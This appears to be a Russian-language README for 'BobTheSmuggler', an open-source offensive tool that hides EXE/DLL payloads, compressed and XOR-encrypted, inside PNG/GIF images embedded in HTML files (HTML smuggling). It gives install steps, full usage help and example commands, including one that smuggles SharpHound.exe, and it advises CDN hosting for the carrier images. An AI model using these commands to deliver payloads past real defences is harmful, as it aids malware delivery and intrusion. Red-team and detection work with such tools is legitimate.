
"Bob the Smuggler": Инструмент, использующий атаку HTML Smuggling Attack и позволяющий создавать HTML-файлы со встроенными архивами 7z/zip. Инструмент сжимает ваш бинарный файл (EXE/DLL) в формат 7z/zip, затем XOR-шифрует архив и прячет его в файл формата PNG/GIF (Image Polyglots).

15 января 2024 г. - Добавлена поддержка сжатия нескольких файлов. Если у вас есть несколько файлов, созданных для конечной полезной нагрузки (например, файлы для подгрузки DLL или файлы для многоэтапной доставки), теперь вы можете использовать опцию '-i', чтобы указать путь к каталогу. Если указан путь к каталогу, BobTheSmuggler автоматически заархивирует все файлы в этом каталоге, зашифрует архив с помощью XOR и встроит его в PNG/GIF.
Ознакомьтесь с моим блогом, чтобы получить полное понимание того, как использовать этот инструмент: BobTheSmuggler: Your Covert Cyber Swiss Knife for Undetectable Payload Delivery.
"Bob the Smuggler" — это инструмент, использующий атаку HTML Smuggling и позволяющий создавать HTML-файлы со встроенными архивами 7z/zip. Инструмент сжимает ваш бинарный файл (EXE/DLL) в формат 7z/zip, затем шифрует архив с помощью XOR и прячет его внутри файла изображения PNG/GIF (Image Polyglots). JavaScript, встроенный в HTML, загружает файл PNG/GIF и сохраняет его в кеше. После этого JavaScript извлекает данные, встроенные в PNG/GIF, собирает их, выполняет XOR-дешифрование и сохраняет как blob-объект в памяти.

В настоящее время инструмент поддерживает следующие цепочки доставки полезной нагрузки:
Перед запуском инструмента необходимо установить следующие зависимости:
pip install python-magic py7zr pyminizip
Примечание: Для установки python-magic потребуется установить библиотеку libmagic в вашей системе. Перейдите по этой ссылке для установки libmagic: https://pypi.org/project/python-magic/
После установки необходимых библиотек можно приступить к установке инструмента с помощью следующих команд:
git clone https://github.com/TheCyb3rAlpha/BobTheSmuggler.git
cd BobTheSmuggler
После установки вы можете использовать инструмент, выполнив следующую команду:
python3 BobTheSmuggler.py -h

======================================================================
██████╗ ██████╗ ██████╗ ████████╗██╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔══██╗ ╚══██╔══╝██║ ██║██╔════╝
██████╔╝██║ ██║██████╔╝ ██║ ███████║█████╗
██╔══██╗██║ ██║██╔══██╗ ██║ ██╔══██║██╔══╝
██████╔╝╚██████╔╝██████╔╝ ██║ ██║ ██║███████╗
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝
███████╗███╗ ███╗██╗ ██╗ ██████╗ ██████╗ ██╗ ███████╗██████╗
██╔════╝████╗ ████║██║ ██║██╔════╝ ██╔════╝ ██║ ██╔════╝██╔══██╗
███████╗██╔████╔██║██║ ██║██║ ███╗██║ ███╗██║ █████╗ ██████╔╝
╚════██║██║╚██╔╝██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝ ██╔══██╗
███████║██║ ╚═╝ ██║╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗██║ ██║
╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝
======================================================================
usage: BobTheSmuggler.py [-h] -i EXE_FILE [-p PASSWORD] -f OUTPUT_HTML -o OUTPUT_FILENAME -t {html,svg,png,gif} [-c {7z,zip}] [-u PNG_URL] [-png PNG_FILE] [-gif GIF_FILE] [-e CUSTOM_FILE] [-v]
Hides EXE/DLL file inside an HTML/SVG file.
optional arguments:
-h, --help show this help message and exit
-i EXE_FILE Path to the EXE/DLL file.
-p PASSWORD Password for compression.
-f OUTPUT_HTML HTML Smuggled file (.html)
-o OUTPUT_FILENAME Downloaded file name (Your payload is in this file.)
-t {html,svg,png,gif} Type of embedded template.
-c {7z,zip} Compression format: 7z or zip (default: zip)
-u PNG_URL URL for the embedded PNG image.
-png PNG_FILE Path to the PNG file for embedding EXE/DLL.
-gif GIF_FILE Path to the GIF file for embedding EXE/DLL.
-e CUSTOM_FILE HTML file to clone as template.
-v, --verbose Enable verbose logging.
Если вы хотите сжать SharpHound.exe в формат 7z (с парольной защитой) и сохранить его в HTML-файле, используйте следующую команду:
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html

Чтобы создать HTML-файл со скрытой полезной нагрузкой внутри PNG-файла, используйте следующую команду:
python3 BobTheSmuggler.py -i <путь_к_входному_файлу> -p <пароль_для_шифрования> -f <имя_выходного_HTML> -o <имя_выходного_7z/zip_файла_внутри_HTML> -t png test.png

ПРИМЕЧАНИЕ: Убедитесь, что вы размещаете PNG/GIF-файлы на CDN. (Рекомендуется использовать опцию -u, чтобы указать URL CDN, где будет размещён PNG/GIF-файл). Для целей тестирования вы можете использовать flask-приложение (app.py), которое будет хостить banner.gif и banner.png на localhost:8000.
Аналогичным образом вы можете использовать следующую команду для создания HTML-файла со скрытой полезной нагрузкой внутри GIF-файла:
python3 BobTheSmuggler.py -i <путь_к_входному_файлу> -p <пароль_для_шифрования> -f <имя_выходного_HTML> -o <имя_выходного_7z/zip_файла_внутри_HTML> -t gif test.gif
